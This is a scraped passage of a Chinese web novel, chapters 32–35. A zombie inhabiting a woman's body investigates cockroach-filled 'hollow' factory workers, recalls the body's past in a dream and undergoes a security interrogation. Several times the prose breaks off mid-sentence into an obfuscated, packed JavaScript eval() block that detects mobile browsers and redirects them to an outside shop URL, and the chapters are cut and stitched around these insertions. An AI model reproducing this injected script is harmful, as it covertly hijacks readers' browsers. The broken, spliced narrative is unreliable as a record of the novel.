没有任务,没有杂事,还吃多了,蚩蓠眼下只有一个想法——睡觉。 困,很困。 明明睡了一千多年,还是困得不行。 当着领导的面闭上眼沉沉睡去,恐怕是很多人的噩梦,可两人的关系既已挑明,谁都不是谁的上级,他再也管不着她了。 意识沉入深海。 梦里有个中年女人的声音显得有些紧张:“小寒,小寒。” 小寒?谁啊?是在叫她吗? 蚩蓠站在一间临时建筑房里,眼前各式各样大小的设计图纸几乎摆满了长达三米的书桌,窗口外,是正在建设的血晶工厂巨型排污烟柱。 “小寒,累了吧,喝口茶歇歇。”身后的中年女人打断了蚩蓠的思绪。 她已经卡在这个技术难点整整两个小时了,想要将尸毒转化为血晶,必须找到一种跟穹顶成分类似的催化剂,可原材料就这么多,血晶的需求却永无止尽。 蚩蓠双手接过对方递来的茶,满怀感激地说:“老师,您折煞我了,怎么好意思让您来泡茶,您快坐快坐。” “哎呀,”对面的女人叹了口气,她的长相跟韩青有六分相似,“小寒,你现在取得的成就已经远远超过老师我了,你就别客气了,我不过只是帮你泡了杯茶而已。现在你啊,身上肩负的,可是整个不夜穹隆的重要使命,我看你最近很辛苦,瞧瞧你那黑眼圈,没睡好吧。” 蚩蓠腼腆地笑起来:“谢谢老师关心。老师您实在太夸张了,我只是在做自己份内的事情,没把自己放这么高的位置,我也……我也不太习惯那些新闻里写的,我真的没有那么重要。” “不,你很重要。”老师语重心长地说,“要对自己有信心,能源控制署的技术部部长一职,我很看好你,一定要加油。” “啊……”蚩蓠惊呼一声,下意识就想拒绝,她真的很厌恶这些部门、职责、权力斗争,她只想安安静静地设计血晶工厂,沉醉在每一张图纸里,甚至绝大多数时候,她都不想跟任何人打交道。 “老师,我……”蚩蓠的话还没有说完,便被老师递给她的礼盒吞进了肚子里。 “小寒,这是我费了很大心思种的安神茶,你最近睡不好,这茶叶对你睡眠有很大帮助,你现在面临的技术难题,说不定很快就能攻克了。” 她接过那盒包装朴素但却透着浓浓爱意的茶叶,再也说不出任何拒绝的话语。 要知道,不夜穹隆很多年前就没有人工种植的植物了,所有植物都是残存植物的克隆产品,想要通过土壤培育种植出新的作物,无异于天方夜谭。 可是老师不一样,她是土壤和冶金方面的顶级专家,她说是她培育出来的,那肯定是真的。 蚩蓠呷了一口茶,味道果然和那些被克隆了无数次的茶叶不一样,不愧是土地里培育出来的植物。 她抬眼亮晶晶地看着老师。“土壤!”她惊呼,“对啊,土壤。” “我找到可以生产大量催化剂的方法了!”蚩蓠欣喜若狂地喊出了声。 32.阴兵小强③ 心脏在胸腔失了控地狂跳,仿佛要挣脱肋骨的禁锢。 正是她这一声激动的喊叫,惊醒了睡梦中的蚩蓠本人。 相当诡异的感觉。明明她的意识才是这具肉.身的最高主宰,是梦境舞台的导演和唯一的主角,可上演的剧目却不由自己掌控。 “怎么?我还以为你做了个美梦。被吓醒了吗?”舒厌以一个舒服的姿势半倚在老板椅上,双脚搭在办公桌,油亮的战斗靴纤尘不染。 他嘴角压抑着弧度,可那双深极黑极的眼睛里分明闪烁着坏痞的笑,不知道的,还以为野猫抓到偷吃香油的老鼠了呢。 蚩蓠摸了一把嘴角并不存在的口水,淡定自若地站起身,旁若无人地伸了个大懒腰,顺带扭了扭睡得僵硬的脖颈,仿佛要把周身的尴尬全抖落出去。 人类的躯壳果然太脆弱了。 自从她夺舍寒黎,整天不是饿就是困,要不然就是注意力不集中,才一个星期,就已经沉沦咖啡无法自拔了。 她熟门熟路地走到咖啡机旁,给自己接了杯加浓的冷萃,边喝边叹气:“还是仿生人的皮囊好哇,饿不死,困不死,持久,扛揍,耐艹……啧,难怪联邦放心让你当这猎尸队队长。” 这话堪称恶毒,可以说完全踩到了舒厌的死穴上。 她知道他还没有完全从仿生人的身份中适应过来,也不能接受能源控制署对他的隐瞒和利用,他大概一直坚信自己是凭借真本事当上的队长,绝不会想到联邦看重的是他能猎尸还不会尸化的仿生人身份。 她与他之间达成的松散联盟,大概又要生一条罅隙了吧。 蚩蓠已经做好了迎接他冰冷视线和反唇相讥的准备。 谁知,舒厌只是无所谓地耸耸肩,搭在桌沿的靴尖甚至悠闲地轻点了一下。 他仿佛看穿了蚩蓠不习惯在毫无防备的情况下被人如此之久的审视,那些带刺的话语只是她事后防御的具象化体现。 “你睡得很熟,我很羡慕。”他开口,声音里听不出什么情绪,但眼里那点坏痞的笑意消失了。 即将入喉的咖啡在蚩蓠口中冷不丁地一滞,好一会儿才缓缓滑落食管。 “长官,别这么说,显得我像个欺负人的坏蛋。”她试图用开玩笑掩饰那一瞬间莫名的心悸。 “我从不做梦。”舒厌定定地看着她,仿佛要穿透她这具皮囊,直视其中赤.裸的灵魂,“我一直以为,我的意识可以完美操控这具躯壳,包括我的梦境,我从不允许自己有‘做梦’这种不可控的可能性存在。” “嗯……你多少有点变态了。”蚩蓠没忍住吐槽道。 她不习惯这种过于袒露自我的倾诉,想要用插科打诨匆匆划过这个话题。 她固然对舒厌存在某种兴趣,但这种兴趣更多只是停留在对那个十二岁时委委屈屈、漂亮得像瓷娃娃一样的少年的追溯。 对于现在的舒厌,现在这个仿生人的舒厌,她越来越将他视为一个独立的个体,与千年前封印她的那个猎人舒厌,渐行渐远。 他们连朋友都称不上,何必跟她说这些。 “现在我终于知道了,”舒厌撇过脸去,不知道在看什么地方,“我不做梦是有原因的。” “嗐!反正做的也不是我的梦。”蚩蓠受不了他这副仿佛被全世界抛弃的样子,简直想举双手投降了。她以后再也不讽刺他了行不行? 她强行转移话题,带着点分享秘密的架势:“我好像梦到寒黎以前的事情了,你想知道她以前是干什么的吗?你绝对想不到!” 空气陷入了尴尬的凝滞。就在蚩蓠以为舒厌要用沉默表示抗议时,他开口了:“不想知道。关于寒黎的事情,我没有兴趣。” 蚩蓠:“……” 这人是不是被寒黎长期性.骚.扰,留下心理创伤了啊?至于这么苦大仇深吗? 但蚩蓠才不给他拒绝的机会,直接抛出了最重磅的信息:“将我的尸毒转化成血晶能源的核心技术,还有血晶工厂的设计建设,都是寒黎主导完成的。” 这个信息果然具备相当的冲击力,舒厌终于恢复了一点点正常的样子,虽然语气依旧没有起伏:“是吗?不夜穹隆的历史虽然短暂,但义务教育指定的课本里,都说这些是韩教授攻克的。对了,你‘儿子’仇署长也出了一份力,还认了韩教授做干妈。” “?”蚩蓠脑门缓缓打出一个问号。 这就是传说中的互相伤害吗,他哪壶不开提哪壶,非得强调仇怜央是这具身体的原主寒黎儿子的事情。 蚩蓠清清嗓子:“韩教授?是韩青的亲戚?” “韩教授是韩青的姥姥,联邦德高望重的元老级科学家。后半句不是我说的,是书上写的。”舒厌补充道。 蚩蓠终于把咖啡喝完了,习惯性地跑到隔壁的洗手间漱口,她刷着牙,含混不清地问:“一口一个‘教授’,你对联邦编纂的历史课本蛮信任的嘛。她全名叫什么?” “就叫‘韩教授’。” “……” 蚩蓠回忆起梦里的片段,如果这个梦境是真实的,寒黎年轻的时候居然是个才华横溢的技术狂魔,被导师也就是韩教授窃取了技术成果。再看看现在这副鬼样子……八十几岁的灵魂,还动不动约仿生男模、对舒厌进行惨无人道的职场性.骚.扰……这画风实在太割裂了。 可是,蚩蓠转念一想,历史书上也出现过对人类社会做出卓越贡献、全身瘫痪但勇战数名美少女的高龄老头……瞬间便理解了寒黎。 只不过,大家对寒黎的恶意要深得多。 “人类的肉.身会习得部分意识的记忆。”舒厌并未理会蚩蓠的揶揄,“一些学者做过这方面的研究,进行了意识转移技术的少数人,还会在梦境中重现新躯壳原本的记忆;更换过数次意识的躯壳,偶尔也会保留其中一个或几个意识的记忆。” “难怪,”蚩蓠摸索下巴,“我这具身体最开始也不属于寒黎,但是被寒黎占领意识之后,保留了一些她原本的记忆,可能是看到了跟党教授长相相似的党青,唤醒了这部分记忆。” “嗯,据说一些对命运产生巨大转折的片段更容易让肉.身‘记住’。” “重大转折……”蚩蓠重复着舒厌的话。 难道寒黎是经历了什么事情之后,才变成现在这副花痴模样的吗? 她甩甩头,变成花痴还需要理由和特殊经历,太扯了。 “算了,寒黎的事情不重要。”蚩蓠又伸了个懒腰,决定还是把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太好了,等寄生了江恨白的沈嘲天出城门之后,夜璃一定会给他一个惊喜大礼包。那场面,光是想象一下就让她觉得……心情愉悦了不少。 重新看完沈嘲天的案子,蚩蓠已经乏味到了极限。 人在无聊的时候,思维就容易像脱缰的野狗一样四处乱窜。这时候,就需要一点外界的刺激来收束心神,比如,刷刷热搜,让注意力聚焦在某个具体的社会奇闻上。 为自己找到了上班摸鱼的完美借口,蚩蓠心安理得地点开了新闻界面。下一刻,一条带着“爆”字标签、标题惊悚的热搜赫然映入眼帘: 「血晶一号工厂惊现诡异工伤!某工人操作失误被割伤,流出的不是鲜血,是成群的蟑螂卵鞘!(内含高能影像,慎点!)」 几乎在她看清标题的同时,全息影像已经从窗口弹出来了,细节丰富,高.清.无.码。 只见一个穿着工装的男人手臂上,有一道长达十几厘米的狰狞伤口,就像标题所说的,从中涌出的并非殷红,而是数百个如同缩小版暗褐色豆荚、表面布满粘稠血丝和不明□□、噼里啪啦掉落在操作台上的蟑螂卵鞘! 蚩蓠一度怀疑自己的眼睛被污染了,迅速关闭图像,尽量不让自己的手碰到任何一只“卵鞘”。 她深吸一口气,把链接推送给舒厌:“长官,我好像想到你的死法了。” 舒厌盯着屏幕上那即便缩小了也依旧能看出大致情形的惊悚画面,沉默了两秒,面无表情地抬头看她:“……” 33.阴兵小强④ 郝有钱怎么也没有想到,命运的馈赠来得如此之突然,却又去得如此之无情。 事情还要从一天前说起。 自从他这个岗位的前任员工被爆出是一只高阶僵尸的分.身后,血晶工厂的审查简直从严格上升到了变态的程度。 这已经是郝有钱在此处工作的第十五个年头了,等到了年底,就要执行所谓的轮换制度,所有员工不得属地化就职,每满三年就要轮换一次工作地点。 他的老婆孩子都在一号工厂附近,这下他要么只能选择辞职,要么只能舍弃家庭,面临被轮换到其他偏远城区的可能性。 他经常觉得,自己这份工作,就像是在下水道的排污口当看守,毫无成就,可血晶工厂给得实在太多了,多到对于一个养家糊口的中年人来说,辞职都成了罪过。 僵尸的尸毒在合成血晶的过程中,会产生一种剧毒的副产品「怨蚀雾」,这玩意儿如其名,是一种能够侵蚀人类心智的诡异气体,排放浓度一旦超过三毫克每立方米,就能让一个心智健全的成年人精神崩溃,变成一头怨气暴涨危害社会的野兽。 郝有钱的工作,就是确保厂里那三根高达四百八十米的巨型排气柱,时刻将「怨蚀雾」的浓度压制在安全阈值之下。 自从那尊被视为无限能源的尸祖被抢走之后,工厂的产能断崖式下跌,上头紧急调来了五具棺材,据说里头封印的都是S级以上的高阶僵尸,机器二十四小时不间断地抽取尸毒,可产量却连过去的三分之一都达不到。 累人的是,「怨蚀雾」的产生却更加活跃了,监控屏幕上的曲线时不时蹿升到临界值,让郝有钱精神紧绷,没有一刻敢放松。 就在一天前,他在例行检查排气柱监控时,发现了一些不寻常的附着物。 将画面放大放大再放大,他倒吸一口凉气,居然是几只蟑螂! 不可能吧?这个阶段的「怨蚀雾」浓度通常维持在三百毫克每立方米左右,在经过一系列净化操作之后,才能最终从排气柱顶排出。 这个浓度是安全阈值的整整一百倍,别说三百毫克了,就算是三十毫克,都能立刻要了正常人的命。任何已知的生物,在接触到这种浓度的「怨蚀雾」之后,都会在极短时间内经历神经系统的崩溃,并最终死亡。 在这里发现活物,简直是天方夜谭。 郝有钱不敢怠慢,马上报告给上级。在经过层层传递之后,不知道怎么被联邦尸毒产业研究院获悉,领导传来了指示,要求他务必活捉,作为实验样品交给研究院。 立功的机会就这么砸到了头上。 在他支支吾吾表示希望暂缓转岗一事之后,领导和颜悦色地答应了他,毕竟在偌大且充满毒气的排气柱中抓捕几只小蟑螂,仅凭那几只智力不够的机械臂根本不够,需要技术精湛的操作工人远程遥控。 郝有钱小心翼翼地操纵着机器,经过六小时的艰难奋战后,终于成功将三只异常健硕的蟑螂抓获,封存在特制的强化玻璃观察罩内,暂时由他保管,等待研究院的专员前来接收。 看着罩子里那几只比寻常同类大了好几圈的蟑螂,它们的触须正微微颤动着,漆黑的头部在黄褐色的甲壳和肢节中不安分地摇摆,郝有钱心里泛起一种古怪的感觉。 人类沾上一点「怨蚀雾」就会发疯,这些蟑螂呢? 它们有神经吗?它们这样摇头摆尾,是头痛吗?它们也会怨气肆意?会产生无所为、无所有的痛苦吗? 就在这一丝莫名的“共感”掠过郝有钱心头的刹那,诡异的事情发生了。 严丝合缝的玻璃罩内,蟑螂毫无征兆地消失了。 它们太大了,没有钻入缝隙的可能性,更不可能逃跑,就这么凭空不见了,仿佛从来没有存在过。 郝有钱整个人都恍惚了,他一度怀疑蟑螂的出现从始至终都只是一个错觉,可翻来覆去地查看监控,排气柱里分明还在,就连他辛苦抓捕的过程影像也是完整完好的。 匆匆赶来的研究院专员面对空荡荡的观察罩颇有微词,上级更是脸色铁青,当面就是一顿臭骂。 郝有钱百口莫辩,同事刚刚还羡慕的眼神也变成了同情。 好好的立功机会,变成了保管不力的事故。 “事故”在当下的血晶工厂是个叫人毛骨悚然的词,碰到郝有钱,就仿佛碰到了“事故”,一时间,简直人人得而诛之,在郝有钱周围形成一个半径十米的真空圈,没有任何人想接近他。 就在今天早上,心情沮丧到极点的郝有钱带着浓重的黑眼圈操作净化设备时,手臂被突然故障的机械臂划开了一道深口。 没有预想中的剧痛和鲜血喷涌。 翻卷的皮肉下,“噼里啪啦”掉出数百个暗褐色的“小豆荚”,它们砸在金属操作台上,又顺着台面跌落在地,发出细碎的脆响。 周围的工友愣了一秒,随即爆发出惊恐的尖叫,当场昏过去两个,其他人用工装靴狂踩地面的卵鞘,十几个卵鞘当场裂开,露出里面密密麻麻半透明的乳白虫卵。 …… 半天后,圣徒医院特级隔离病房外。 “皮肤、肌肉、内脏、骨骼……正常人类皮肤底下应该有的所有东西,全部都消失了。”韩青声音干涩,将医院的检查报告展示给舒厌和蚩蓠。 他们俩三小时前才跟韩青在办公室聊过,现在又跟着她一起来到了圣徒医院。 影像上,那个名叫郝有钱的工人躯干内部呈现出一种不自然的空洞,只有堆积如山的暗褐色卵鞘轮廓填充其中。 “除了变成空心人,身体里装满了蟑螂卵鞘,病患郝有钱生命体征稳定,能对外界做出正确反应,口齿清晰逻辑正常,看起来跟正常人没有区别。”戴着防护面罩的主治医生在一旁补充道,声音闷闷的。 透过厚重的双层防爆玻璃,可以看到郝有钱呆呆地坐在病床上,眼神空洞,对全副武装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒厌知道此刻必须稳住局面,他上前一步,声音沉稳有力:“所有接触过病患或虫卵的人员,请立刻前往隔离间进行初步净化。黎柒染!”他通过通讯器呼叫守在外围的队员,“送一批桃木和镇尸符水过来,分发给医护人员用于自卫和清理。二组人员随你处理病房里剩下的蟑螂,注意不要损坏医院设施。” 至于郝有钱,舒厌决定将其暂时移交到能源控制署的地牢关押。 命令下达,二组猎尸队员迅速行动,混乱的小插曲暂时得到了控制。 趁着这个间隙,蚩蓠再次看向隔离病房内的郝有钱,忍不住吐槽道:“被吃空内里居然还能正常生活正常思考正常上下班,不得不说,蟑螂这种生物实在太顽强了,就连被它们的卵鞘寄生的空壳都敬业到这种程度了,那还要人类干什么啊,简直就是巨型企业的福音嘛。” “积点口德吧。”舒厌无语。 他的目光随蚩蓠的视线一同望向郝有钱,一想到她替他选择的死法,舒厌一点也高兴不起来。 34.阴兵小强⑤ 安顿好医护人员之后,蚩蓠一行人来到血晶一号工厂,排查是否还有其他人员被蟑螂僵尸挖空的情况。 他们刚进工厂,离行政中心还有一段路。 这是蚩蓠第一次认真打量这个地方。 锈蚀的钢铁巨兽匍匐在大地上,方正规整的厂房,蜿蜒交错的管道,以及那根几乎要刺破穹顶、高达四百八十多米的巨型排气柱,构成了血晶一号工厂压抑的天际线。 跟梦里的场景一模一样。 只是梦里的视野更加狭窄,排气柱也未曾沾染岁月的痕迹。 她顺着梦中的视角倒推回去,最终落在厂区边缘西南角的地方。那里如今空空荡荡,跟周围密集的建筑物和设施格格不入。 寒黎曾在那里,伏案工作,熬过无数个不眠之夜。 蚩蓠趁闲暇朝负责接待的一名年纪较大的员工问道:“老师傅,听说您在这儿资历最深。请问那片空地是做什么的?看着像是闲置有一段时间了?” 献血大厅离工厂正南门最近,厂房和排气柱坐落在靠北的方位,东西两侧是办公区和行政中心,中间空出一大片克隆草坪,四周边角或多或少覆盖着绿化种植物,只有这片西南角的空地,突兀的什么也没有,徒余赤.裸的土壤本身。 老员工顺着蚩蓠的目光看过去,咂咂嘴:“那儿呀,打我进厂就是一片空地了。不过听老辈人讲过,几十年前是有一栋临时建筑的,后来着了场大火,全烧没了。” “临时建筑物?您知道是干什么用的吗?” “噢哟,这我就不清楚了,”老员工摇摇头,“不过咱们厂大概也就是那时候开始建设的,估计是工头或者建筑师临时落脚的地方吧?”他见蚩蓠听得认真,左右瞅了瞅,压低声音神秘兮兮地说,“不过,都说那儿闹鬼。” 他这话果然吸引了几人注意力,韩青历来不信这些怪力乱神,连僵尸在她看来也不过是另一种生命形态,忙问:“哦?闹的什么鬼?” “寸草不生的那种厉鬼。”老员工听出了韩青的嘲讽,但他一直坚信举头三尺有神明,还是继续说,“邪门得很!反正自打那场大火之后,那块地上就啥也种不了了,种什么死什么,啥高科技基因品种都没用。” “或许是土壤污染?”韩青不信邪。 “……兴许吧。”老员工不好跟联邦的领导顶嘴,但他心里是不服气的,只得说,“反正,听说本来要在上面重新建一栋楼,但是工人经常莫名其妙出事,换成机器人也没用,之后就不了了之,一直空着了。” 本来蚩蓠也就随口一问,这个小插曲并未占用太多时间,众人的注意力很快回到核心任务上。 郝有钱的出事让血晶工厂再次进入一级戒备状态。厂长惴惴不安地站在行政中心门口已等候多时,见几人总算到了,带着与眼神完全不符的一脸老实憨厚的样子,微微弓着身子:“几位领导,我这边已经安排所有在任的员工紧急返厂了,您们看看具体需要大家怎么做,我们保证百分百配合工作开展。” 舒厌完全没有任何客气和寒暄,他和韩青是整个能源控制署出了名的冷硬派和效率至上主义,做事干脆直接,这会儿也是直入主题。 “好,所有与郝有钱有过密切接触者,由医疗组进行深度扫描。其余人员,进行基础筛查。” 所谓基础筛查,简单粗暴,也就是用消毒过的针刺破指尖,看看流出来的是鲜血,还是别的什么。 整个血晶一号工厂,一时间人心惶惶。 就连轮班回家休息,突然从睡梦中被叫醒返厂的几批工人,连个哈欠都不敢打,强打精神,一直到针尖刺下,亲眼看着鲜红的血珠渗出,才松了一口气。 与郝有钱有过密切接触的人并未查出异样,反而是离工厂作业间最远的行政中心,有几人在众目睽睽之下,从细小的针孔里,挤出了白色半透明的虫卵。 施针的医护人员双手发颤,周围排队的员工大气不敢出一声,就看见被查出有异的几人被悄悄带离了检查室。 最终,在经过一千一百人的初筛之后,发现共计二十三名员工变成了空心人,他们的躯壳内,充斥着蟑螂生命周期的不同形态,从坚硬的卵鞘、密集的虫卵到蠕动的幼虫,乃至稍大一些接近成熟的若虫,应有尽有。 “万幸没发现正在□□的成虫,不然场面就更精彩了。”蚩蓠身着包裹严密的防护服,一脸坏笑。 “这种flag我一般是不敢立的。”韩青刚从外头风风火火地走进这间临时搭建的隔离室,就这么短短几秒钟时间,她的防护服腿上已经爬满了几十只小强幼崽。 舒厌担心蚩蓠听不懂这类现代语库,自然地补充道:“对啊,寒黎,你小心被打脸,这种事情经常发生的,刚说完无事,马上就有事了。” “是么?”蚩蓠无所谓地耸耸肩,“你们不觉得,这些空心躯壳才是蟑螂‘母王’产下的真正卵鞘吗?我的意思是,我们不能只把虫卵当成孩子,有没有一种可能,这些空心人里头的所有东西,都是蟑螂‘母王’的孩子。” “‘母王’?‘孩子’?我以后再也不能直视‘孩子’了。”一个瓮声瓮气的声音从一具棺材后传来,穿着臃肿防护服的路艋钻了出来,体型几乎膨胀了一倍。 黎柒染留在医院处理后续,路艋则跟着舒厌来到工厂,负责协助清理僵尸蟑螂。 那二十三个“空心人”已经被视作高危污染源,由路艋指挥一组队员将其密封在桃木棺材内。 如果仍以意识来界定这些人的存在,他们无疑还“活着”,甚至连能量频谱都与原来保持一致。可是似乎又有什么东西不一样了,蚩蓠说不上来,她只能感知到这些蟑螂的能量本源非常混乱。 见舒厌和韩青也在深思,没接话,她便自打没趣地跑去玩镇尸符水了。 符箓上写的鬼画符的字都跟千年前一样,浸泡的符水全部取自不夜穹隆外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542640|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一棵巨型桃木的露水。 之前跟舒厌闲聊的时候他提过,每到月初,城防军都要冒着生命危险,去城外收集这棵桃木断落的新鲜残枝和露水,再转交给猎尸队保管,制成各类压制僵尸的武器。这会儿因为保存的时间过长,符水已经有些发臭了。 蚩蓠厌恶地摆摆手,丢掉了镇尸符水,这还是有防护服加持的情况呢,不能想象直接闻该有多臭。 她一度怀疑这些僵尸小强都是被符水熏晕的。 “这二十三个人,几乎全部都是工厂的核心骨干,包括五名高管、十名中层管理者和五名技术专家。”韩青用智脑查看厂长刚才整理给她的资料,语气凝重地念给舒厌听。 舒厌点点头:“看起来好像是在有针对性地替换关键岗位的人。不过,有必要玩得这么惊悚吗?还把自己拖下水。” 有些话不方便在这里直接说,不过韩青也明白他的意思,之前在办公室里讨论的时候,她也提过,觉得当康食堂里的蟑螂应该不是当康基因所为。 克隆人替换显然是一个更稳妥更安全的方案。相反,这种虫群噬体再伪装的手段,过于邪异和不可控,不像一个追求稳定渗透的势力会采用的策略。 可偏偏,这两种手段却又有着殊途同归的意味。 “是与不是,直接问他们不就行了。”蚩蓠笑着将两人含糊不清的话点明。 “看来寒秘书有好主意了。”韩青又用那种欣赏的目光看着她。 蚩蓠被看得不好意思,冲两人低声道:“听说,蟑螂这种虫子会吃同类。当康不是基因方面的领军人嘛,能够轻轻松松地制作克隆动植物,那搞搞基因编辑应该也不难吧,我们可以请他们‘帮忙’处理这种生物污染。” “你的意思是让当康制作会吃这些僵尸的蟑螂?”舒厌问。 蚩蓠看得出,自从告诉舒厌他的“死法”之后,对方一直有些不在状态,这会儿谈到当康才勉强上心。 “不,”她冲他摇摇头,“刚好相反,是让当康制作被吃的蟑螂,僵尸蟑螂吃掉基因变异蟑螂,而且必须要吃完再过一段时间才中毒。这样我们才能顺着线,找到那只藏在不知道哪儿的蟑螂‘母王’。” “有道理。”韩青夸张地给蚩蓠竖了个大拇指。 计划初定,就在几人商量着准备前往当康基因时,蚩蓠的智脑震动,收到了一条来自仇怜央的加密信息。 「妈,安全局那边启动了对内部人员的例行审查,主要是针对近期异常事件频发,需要确保核心人员的可靠性。可能需要您回来一趟,配合做个简单的调查和意识频谱核对。别担心,只是走个流程,儿子会安排好一切,绝不会让您受委屈。」 蚩蓠盯着这一段话,不由好笑。 这潭水,真是越来越浑了。 不过,她和舒厌精心策划的“死亡”,或许正需要这样混乱的舞台,才能上演得足够逼真,才能钓出他们想要的大鱼。 35.阴兵小强⑥ “妈,就是走个过场,安全局的几位同事有些情况需要再确认清楚,您将就配合一下就好,很快的。”仇怜央将一杯刚沏好的热茶推到蚩蓠面前,氤氲的热气模糊了他镜片后的眼神。 蚩蓠赶到能源控制署已经接近晚上九点了,中午吃得太多,下午又跟几千只蟑螂“宝宝”共处一室,不太有胃口,这会儿只喝了几口茶水。 “怎么了?您以前不是最喜欢喝这款茶叶了吗?”仇怜央还是那副委委屈屈撒娇的表情,“是不是突然把您叫回来,生我的气了。” 蚩蓠端举着这杯暖茶,一股久远而真切、仿佛雨后新草的大自然气息悠然漫散在空中,这样的味道,在不夜穹隆可谓奢侈的存在。 然而,作为僵尸,她不喜任何超过四十度的东西。 更别提这杯茶和梦中韩教授递给寒黎的那杯茶重合在一起,画面和味道都惊人的相似。 “我没生气。”蚩蓠的视线没有移开暖茶,“只是突然觉得这茶叶不怎么好喝了,而且你看这颜色,让妈妈想起给你小时候换尿布的样子。” 她托着腮,似乎想了很久才找个那个形容词:“有一股尿黄色的味道。” “……” 仇怜央像是被什么东西噎住了,表情微妙地变了变,颇有些担心地说:“妈,您的病,也是很久没有去医院复诊了,等安全局的人审查完,要不……” 还没等仇怜央说完,蚩蓠打断道:“什么病?检查什么?我这不好好的吗?” “我知道一直您不愿意听这个,可是,唉,算我求您了,还是再去检查检查吧。” 蚩蓠一脸怒容,心里却想,果然,寒黎的记忆破损无法完全读取是有原因的,并非她夺舍所为,而是寒黎的脑子原本就有问题。 记忆混乱,举止夸张,作风淫.靡,见到帅哥就花痴想上……这些对于某些人来说可能是正常行为,但对于一个曾经兢兢业业勤勤恳恳攻克高端技术难题的研究人员来说,跟神经错乱没有区别。 简而言之,寒黎的确病了。 这茶,她不能再喝。 安全局的人已经提前到达问询室。室内,光线被刻意调成一种令人放松的暖色,可在蚩蓠看来,这种颜色已然和阴谋、欺骗搅和成了一片令人作呕的黄。 蚩蓠安然地坐在房间正中央的座椅上。对面,来自安全局的三人正襟危坐,有些不满地看着在一旁强行陪审的仇怜央。 那三人还来不及自我介绍,仇怜央插话道:“妈,别怕,这三位安全局的同事非常专业,不会为难您的。”顺带向台上主审的女人颔首示意。 “知道啦,啰嗦。”带着寒黎式略带骄纵的不耐烦,蚩蓠上半身向后微仰,姿态放松得有些过头,“我这边刚在外面忙活,气都没喘匀呢,就被叫回来。小厌那边说不定正需要人手。” 听到舒厌的昵称,仇怜央看似尴尬地笑笑,心里却升腾起一股担忧,他的母亲自打生病之后,两耳不闻窗外事,一心只想“睡男人”。现如今如此积极地参与具体案件,甚至屡次身处险境却毫发无伤,要说百分百没问题,他还真不敢打包票。 台上主审的女人肩章上挂满了荣誉的星星和斜杠,她明显有些不耐烦,直接打断了这对母子情深的对话,硬邦邦地说: “您好,寒黎女士,我是安全局特别审查科的负责人汤凝雨。为确保联邦核心部门人员的可靠性,需要对您进行一些特定项目的检查和问询。会占用一些时间,还请您理解。” 她身后一名黑制服的男性同事像尊雕塑似的,提着一个银白色金属手提箱,姿态僵硬地走到蚩蓠面前。 “我们将首先对您进行意识频谱一致性扫描。”汤凝雨在后头解释道。 手提箱打开后,一堆复杂的仪器启动,熟悉的AI女声响起,「归零」板正地说:“能源控制署外勤部助理寒黎,意识频谱核对程序启动。” 一道柔和的光束从手提箱射出,笼罩住蚩蓠。 她能感觉到一种无形的力量试图探入她的意识深处,与那日前往地下监狱时的感觉几无二致。她强行压制住本能的反抗与排斥,将属于蚩蓠的意识紧紧收敛,任由那扫描穿透寒黎的躯壳。 短暂的沉默后,「归零」的声音依旧平稳无波:「频谱验证通过,确认为寒黎本人。」 汤凝雨脸上没有任何波澜。 她一摆手,身后另一名白大褂的男人接替黑制服男人走上前来,在蚩蓠身上贴上电极,还将一个装满粉红色胶状物的头盔戴到她头上。 糟糕,蚩蓠心一惊,这不是跟之前吴李静替她做全身检查时的工具类似嘛,只不过眼前这个头盔更像是一个便携式装置。 她尽量控制自己的心跳,维持在一个正常但略微有些紧张的状态。 果然,在取下头盔之后,白大褂男人走到汤凝雨耳边说了些什么,汤凝雨没有表情的脸终于有了一丝雀跃。 “寒黎女士,我们已经对您做了一些初步检查,接下来,希望您能毫无保留地回答我的问题。” “那当然。”蚩蓠反客为主,“正好我和我儿子刚商量着要做体检,你们倒省了我的事。查出什么了?直说吧,我好有个心理准备。” 汤凝雨挑起一遍眉毛。针对不同的审讯对象,她们往往有一套专业性的变通应对方法。 像对付这种傲气的对象,只能找到对方最脆弱的点,一举击破她的骄傲,若是表现出任何一丝低人一等的感觉,对方一定以为自己赢了,还会反过来回踩她。 于是她直接跳过了蚩蓠的问题,更冷硬地开口道:“寒黎女士,请再详细复述一遍,你是如何从目标郑有德及白面具手中逃脱的。” 蚩蓠翻了个白眼,看似不悦,脑子里实则在飞速思考。 上次用身份把喻风唬住果然只是一时的,这回安全局显然有备而来,她的尸化迹象和那个F级加速异能,恐怕刚才那个白大褂已经检查出来了。 不过,直接“坦白”不符合寒黎的作风,她决定再挣扎一番:“我之前已经跟喻风说过了,主要是我运气好,那个白面具看我没啥用,抓了郑有德就把我扔在一边了。” 汤凝雨审视着她,见对方死鸭子嘴硬,眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤凝雨满意地看着她终于击碎了对方的傲慢,见好就收。 